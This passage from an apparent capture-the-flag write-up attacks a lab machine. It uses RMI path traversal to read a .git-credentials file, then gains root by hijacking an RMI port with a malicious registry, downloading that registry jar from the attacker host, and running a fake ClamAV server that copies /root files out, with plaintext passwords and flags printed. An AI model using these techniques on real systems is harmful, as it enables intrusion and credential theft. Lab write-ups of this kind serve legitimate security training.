bash-4.4$ java com.htb.hosting.rmi.Client list 1337 ../../home
java com.htb.hosting.rmi.Client list 1337 ../../home
..
developer
bash-4.4$ java com.htb.hosting.rmi.Client list 1337 ../../home/developer
java com.htb.hosting.rmi.Client list 1337 ../../home/developer
..
.cache
.bash_logout
reg.jar
.bashrc
.bash_history
.git-credentials
user.txt
start.sh
.gnupg
.profile
.vimrc
.local
Great, we have some files from user developer
, the one named .git-credentials
might store some plaintext passwords:
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../home/developer/.git-credentials
<ent view 1337 ../../home/developer/.git-credentials
https://irogir:qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9@github.com
There it is! And this password works in SSH:
$ ssh developer@10.10.11.223
developer@10.10.11.223's password:
developer@registry:~$ cat user.txt
371e1bc3c1d3673c70164fe27e7bdce0
Privilege escalation
If we search for JAR files, we will see two that are relevant:
developer@registry:~$ find / -name \*.jar 2>/dev/null
/opt/registry.jar
/usr/share/ca-certificates-java/ca-certificates-java.jar
/usr/share/vhost-manage/includes/quarantine.jar
/usr/share/apport/testsuite/crash.jar
/usr/share/apport/apport.jar
/usr/share/java/java-atk-wrapper.jar
/usr/share/java/libintl.jar
/usr/lib/jvm/java-17-openjdk-amd64/lib/jrt-fs.jar
/usr/lib/jvm/java-11-openjdk-amd64/lib/jrt-fs.jar
registry.jar
is the RMI service (FileService
andQuarantineService
)quarantine.jar
is an RMI client that connects toregistry.jar
and sets up ClamAV
We can download them and decompile them in javadecompilers.com, as before.
The QuarantineService
registry only exposes one method called getConfiguration
, which is actually very simple:
/*
* Decompiled with CFR 0.150.
*/
package com.htb.hosting.rmi.quarantine;
import com.htb.hosting.rmi.FileServiceConstants;
import com.htb.hosting.rmi.quarantine.QuarantineConfiguration;
import com.htb.hosting.rmi.quarantine.QuarantineService;
import java.io.File;
import java.rmi.RemoteException;
import java.util.logging.Logger;
public class QuarantineServiceImpl
implements QuarantineService {
private static final Logger logger = Logger.getLogger(QuarantineServiceImpl.class.getSimpleName());
private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/root/quarantine"), FileServiceConstants.SITES_DIRECTORY, "localhost", 3310, 1000);
@Override
public QuarantineConfiguration getConfiguration() throws RemoteException {
logger.info("client fetching configuration");
return DEFAULT_CONFIG;
}
}
The quarantine.jar
contains this main
function:
/*
* Decompiled with CFR 0.150.
*/
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.Client;
public class Main {
public static void main(String[] args) {
try {
new Client().scan();
}
catch (Throwable e) {
Client.out(1024, "an unknown error occurred", new Object[0]);
e.printStackTrace();
}
}
}
Where new Client().scan
does the following:
// ...
public class Client
implements LogConstants {
private final ClamScan clamScan;
private final QuarantineConfiguration config;
public Client() throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 9002);
QuarantineService server = (QuarantineService)registry.lookup("QuarantineService");
this.config = server.getConfiguration();
this.clamScan = new ClamScan(this.config);
}
public void scan() {
File[] documentRoots = this.config.getMonitorDirectory().listFiles();
if (documentRoots == null || documentRoots.length == 0) {
Client.out(256, "exiting", new Object[0]);
return;
}
Client.out("initialize scan for %d domains", documentRoots.length);
for (File documentRoot : documentRoots) {
this.doScan(documentRoot);
}
}
And doScan
is another method that connects to ClamAV through a socket on port 3310 to send some commands:
private void doScan(File file) {
block12: {
block11: {
if (!file.isDirectory()) break block11;
File[] files = file.listFiles();
if (files == null) break block12;
for (File f : files) {
this.doScan(f);
}
break block12;
}
try {
Path path = file.toPath();
try {
if (Files.isSymbolicLink(path)) {
Client.out(16, "skipping %s", file.getAbsolutePath());
return;
}
}
catch (Exception e) {
Client.out(16, "unknown error occurred when processing %s\n", file);
return;
}
ScanResult scanResult = this.clamScan.scanPath(path.toAbsolutePath().toString());
switch (scanResult.getStatus()) {
case ERROR: {
Client.out(768, "there was an error when checking %s", file.getAbsolutePath());
break;
}
case FAILED: {
Client.out(32, "%s was identified as a potential risk. applying quarantine ...", file.getAbsolutePath());
this.quarantine(file);
break;
}
case PASSED: {
Client.out(0, "%s status ok", file.getAbsolutePath());
}
}
}
catch (IOException e) {
Client.out(512, "io error processing %s", file.getAbsolutePath());
}
}
}
private void quarantine(File srcFile) {
File destFolder = new File(this.config.getQuarantineDirectory(), "quarantine-run-" + LocalDateTime.now());
destFolder.mkdirs();
try {
File dstFile = new File(destFolder, this.getQuarantineFileName(srcFile));
Files.copy(srcFile.toPath(), dstFile.toPath(), LinkOption.NOFOLLOW_LINKS, StandardCopyOption.REPLACE_EXISTING);
Client.out("%s was successfully scanned", srcFile.getAbsolutePath());
}
catch (IOException e) {
Client.out(512, "io error processing %s", srcFile.getAbsolutePath());
}
If the scanning result is FAILED
, then the files are quarantined into a directory.
If we run pspy
, we will notice that root
is executing the quarantine.jar
file periodically, but also, a user named rmi-service
is restarting the registry.jar
file:
CMD: UID=0 PID=23959 | systemctl restart registry.service
CMD: UID=0 PID=23958 | /bin/sh -c systemctl restart registry.service
CMD: UID=0 PID=23957 | /usr/sbin/CRON -f
CMD: UID=0 PID=23956 | /usr/sbin/CRON -f
CMD: UID=0 PID=23955 | /usr/sbin/CRON -f
CMD: UID=0 PID=23965 | sleep 10
CMD: UID=0 PID=23964 | /bin/bash /root/tomcat-app/reset.sh
CMD: UID=0 PID=23963 | /bin/sh -c for i in {1..6}; do /bin/bash /root/tomcat-app/reset.sh & sleep 10; done
CMD: UID=0 PID=23961 | /bin/sh -c /bin/bash /root/check-vhosts.sh
CMD: UID=0 PID=23966 | /bin/bash /root/check-vhosts.sh
CMD: UID=0 PID=23968 | /usr/local/sbin/vhosts-manage -m quarantine
CMD: UID=0 PID=23967 | /bin/bash /root/tomcat-app/reset.sh
CMD: UID=0 PID=23972 | /usr/bin/java -jar /usr/share/vhost-manage/includes/quarantine.jar
CMD: UID=0 PID=23974 | /bin/bash /root/tomcat-app/reset.sh
CMD: UID=0 PID=23997 | runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/b78dfd4ba83d3367349e0c5e2b8004198f2d24db33f457e3656eca5443e0448d/log.json --log-format json exec --process /tmp/runc-process1633812451 --console-socket /tmp/pty2941058999/pty.sock --detach --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/b78dfd4ba83d3367349e0c5e2b8004198f2d24db33f457e3656eca5443e0448d/27f1f86d66bfccf902071c0126ffcb9c3c4f62388f5ad386bfdebd1ccc6c6130.pid b78dfd4ba83d3367349e0c5e2b8004198f2d24db33f457e3656eca5443e0448d
CMD: UID=0 PID=24005 | runc init
CMD: UID=0 PID=24007 | runc init
CMD: UID=0 PID=24024 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24023 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24022 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24021 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24020 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24019 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24018 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24017 | /lib/systemd/systemd-udevd
CMD: UID=0 PID=24016 | /lib/systemd/systemd-udevd
CMD: UID=999 PID=24015 | /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar /opt/registry.jar
CMD: UID=0 PID=24031 |
CMD: UID=0 PID=24032 | /lib/systemd/systemd-udevd
Here we have a small time window to execute our malicious RMI registry on port 9002, so that the legitimate registry.jar
is no longer able to listen on that port. As a result, quarantine.jar
will connect to our RMI registry and we will be able to set an arbitrary configuration for ClamAV.
For instance, what we will do is actually set the ClamAV host to our attacker machine IP address, the quarantine directory to /dev/shm
(which is accessible by everyone) and the directory to scan will be /root
:
package com.htb.hosting.rmi.quarantine;
import java.io.File;
import java.rmi.RemoteException;
public class QuarantineServiceImpl implements QuarantineService {
@Override
public QuarantineConfiguration getConfiguration() throws RemoteException {
return new QuarantineConfiguration(new File("/dev/shm"), new File("/root"), "10.10.17.44", 3310, 1000);
}
}
This time, we have Java 17 on the machine:
developer@registry:/tmp$ java -version
openjdk version "17.0.7" 2023-04-18
OpenJDK Runtime Environment (build 17.0.7+7-Ubuntu-0ubuntu118.04)
OpenJDK 64-Bit Server VM (build 17.0.7+7-Ubuntu-0ubuntu118.04, mixed mode, sharing)
So, let’s use another Docker container with this specific version of Java to compile the JAR file (which is actually a ZIP archive):
$ tree
.
├── com
│ └── htb
│ └── hosting
│ └── rmi
│ ├── quarantine
│ │ ├── QuarantineConfiguration.java
│ │ ├── QuarantineServiceImpl.java
│ │ └── QuarantineService.java
│ └── Server.java
└── META-INF
└── MANIFEST.MF
6 directories, 5 files
$ cat META-INF/MANIFEST.MF
Main-Class: com.htb.hosting.rmi.Server
$ docker run -it --rm -v "$PWD:/home/rocky" openjdk:17 bash
Unable to find image 'openjdk:17' locally
17: Pulling from library/openjdk
38a980f2cc8a: Pull complete
de849f1cfbe6: Pull complete
a7203ca35e75: Pull complete
Digest: sha256:528707081fdb9562eb819128a9f85ae7fe000e2fbaeaf9f87662e7b3f38cb7d8
Status: Downloaded newer image for openjdk:17
bash-4.4# cd /home/rocky/
bash-4.4# javac com/htb/hosting/rmi/Server.java
bash-4.4# javac com/htb/hosting/rmi/quarantine/*.java
bash-4.4# exit
exit
$ zip -r registry.jar META-INF com/htb/hosting/rmi/Server.class com/htb/hosting/rmi/quarantine/*.class
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (stored 0%)
adding: com/htb/hosting/rmi/Server.class (deflated 45%)
adding: com/htb/hosting/rmi/quarantine/QuarantineConfiguration.class (deflated 50%)
adding: com/htb/hosting/rmi/quarantine/QuarantineService.class (deflated 37%)
adding: com/htb/hosting/rmi/quarantine/QuarantineServiceImpl.class (deflated 44%)
Now we are ready to upload the JAR file to the machine and exploit the “race condition” to take ownership of port 9002 with our RMI registry:
developer@registry:/tmp$ wget -qO .registry.jar 10.10.17.44:8000/registry.jar
developer@registry:/tmp$ java -jar .registry.jar
Exception in thread "main" java.rmi.server.ExportException: Port already in use: 9002; nested exception is:
java.net.BindException: Address already in use
at java.rmi/sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:346)
at java.rmi/sun.rmi.transport.tcp.TCPTransport.exportObject(TCPTransport.java:243)
at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.exportObject(TCPEndpoint.java:415)
at java.rmi/sun.rmi.transport.LiveRef.exportObject(LiveRef.java:147)
at java.rmi/sun.rmi.server.UnicastServerRef.exportObject(UnicastServerRef.java:235)
at java.rmi/sun.rmi.registry.RegistryImpl.setup(RegistryImpl.java:223)
at java.rmi/sun.rmi.registry.RegistryImpl.<init>(RegistryImpl.java:208)
at java.rmi/java.rmi.registry.LocateRegistry.createRegistry(LocateRegistry.java:203)
at com.htb.hosting.rmi.Server.main(Server.java:14)
Caused by: java.net.BindException: Address already in use
at java.base/sun.nio.ch.Net.bind0(Native Method)
at java.base/sun.nio.ch.Net.bind(Net.java:555)
at java.base/sun.nio.ch.Net.bind(Net.java:544)
at java.base/sun.nio.ch.NioSocketImpl.bind(NioSocketImpl.java:643)
at java.base/java.net.ServerSocket.bind(ServerSocket.java:388)
at java.base/java.net.ServerSocket.<init>(ServerSocket.java:274)
at java.base/java.net.ServerSocket.<init>(ServerSocket.java:167)
at java.rmi/sun.rmi.transport.tcp.TCPDirectSocketFactory.createServerSocket(TCPDirectSocketFactory.java:45)
at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newServerSocket(TCPEndpoint.java:673)
at java.rmi/sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:335)
... 8 more
developer@registry:/tmp$ while true; do java -jar .registry.jar 2>/dev/null; done
[+] Bound to 9002
Now we can fake a ClamAV server, and the files that will be analyzed are inside /root
. If we tell that those scanned files are malicious, they will be quarantined at /dev/shm
. Let’s use nc
:
$ nc -nlvp 3310
Listening on 0.0.0.0 3310
Connection received on 10.10.11.223 58580
zSCAN /root/.docker/buildx/.lock
The problem is that nc
closes the connection. Instead, let’s script a simple socket server with Python and send always FOUND
to tell that the file is malicious:
#!/usr/bin/env python3
import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
self.data = self.request.recv(1024).strip()
print(self.data)
self.request.sendall(b'filename: asdf FOUND\0')
with socketserver.TCPServer(('0.0.0.0', 3310), MyTCPHandler) as server:
server.serve_forever()
The responses of ClamAV can be found in the documentation (page 19).
After a bit of time, the machine will start using zSCAN
with all the files inside /root
and saving them to /dev/shm
:
$ python3 socket_server.py
b'zSCAN /root/.docker/buildx/.lock\x00'
b'zSCAN /root/.docker/buildx/current\x00'
b'zSCAN /root/.docker/.buildNodeID\x00'
b'zSCAN /root/.docker/.token_seed.lock\x00'
b'zSCAN /root/.docker/config.json\x00'
b'zSCAN /root/.docker/.token_seed\x00'
b'zSCAN /root/.lesshst\x00'
b'zSCAN /root/check-vhosts.sh\x00'
b'zSCAN /root/.cache/motd.legal-displayed\x00'
b'zSCAN /root/docker-compose-reg.yml\x00'
b'zSCAN /root/.ssh/id_rsa\x00'
b'zSCAN /root/.ssh/authorized_keys\x00'
b'zSCAN /root/.ssh/id_rsa.pub\x00'
b'zSCAN /root/root.txt\x00'
b'zSCAN /root/nginx/default\x00'
b'zSCAN /root/.git-credentials\x00'
b'zSCAN /root/tomcat-app/context.xml\x00'
b'zSCAN /root/tomcat-app/Dockerfile\x00'
b'zSCAN /root/tomcat-app/reset.sh\x00'
b'zSCAN /root/tomcat-app/src-1.0-SNAPSHOT.war\x00'
b'zSCAN /root/tomcat-app/docker-compose.yml\x00'
b'zSCAN /root/tomcat-app/dump.sql\x00'
b'zSCAN /root/tomcat-app/hosting.ini\x00'
b'zSCAN /root/tomcat-app/hosting-default.ini\x00'
b'zSCAN /root/.httpie/config.json\x00'
b'zSCAN /root/docker-registry/docker-compose.yml\x00'
b'zSCAN /root/docker-registry/data/docker/registry/v2/blobs/sha256/9d/9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c/data\x00'
b'zSCAN /root/docker-registry/data/docker/registry/v2/blobs/sha256/9d/9d19db0eb2360b76dee4b470a975323f5f6cc4905f8f90f65f63d757340907e9/data\x00'
b'zSCAN /root/docker-registry/data/docker/registry/v2/blobs/sha256/1a/1acc6f88f783bd069013a54361591a56b7b1b8701596a96c12c63b673a280319/data\x00'
...
There are a lot of interesting files. As before, probably we can find a plaintext password in .git-credentials
. Let’s find the file:
developer@registry:/tmp$ find /dev/shm -name \*git-credentials\*
/dev/shm/quarantine-run-2023-07-27T20:28:07.111587112/_root_.git-credentials
/dev/shm/quarantine-run-2023-07-27T20:27:06.809494181/_root_.git-credentials
/dev/shm/quarantine-run-2023-07-27T20:26:07.118229480/_root_.git-credentials
Great, and there it is, now we are root
:
developer@registry:/tmp$ cat /dev/shm/quarantine-run-2023-07-27T20:28:07.111587112/_root_.git-credentials
https://admin:52nWqz3tejiImlbsihtV@github.com
developer@registry:/tmp$ su root
Password:
root@registry:/tmp# cd
root@registry:~# cat root.txt
e4408c4688226b2e482959f1e73f9549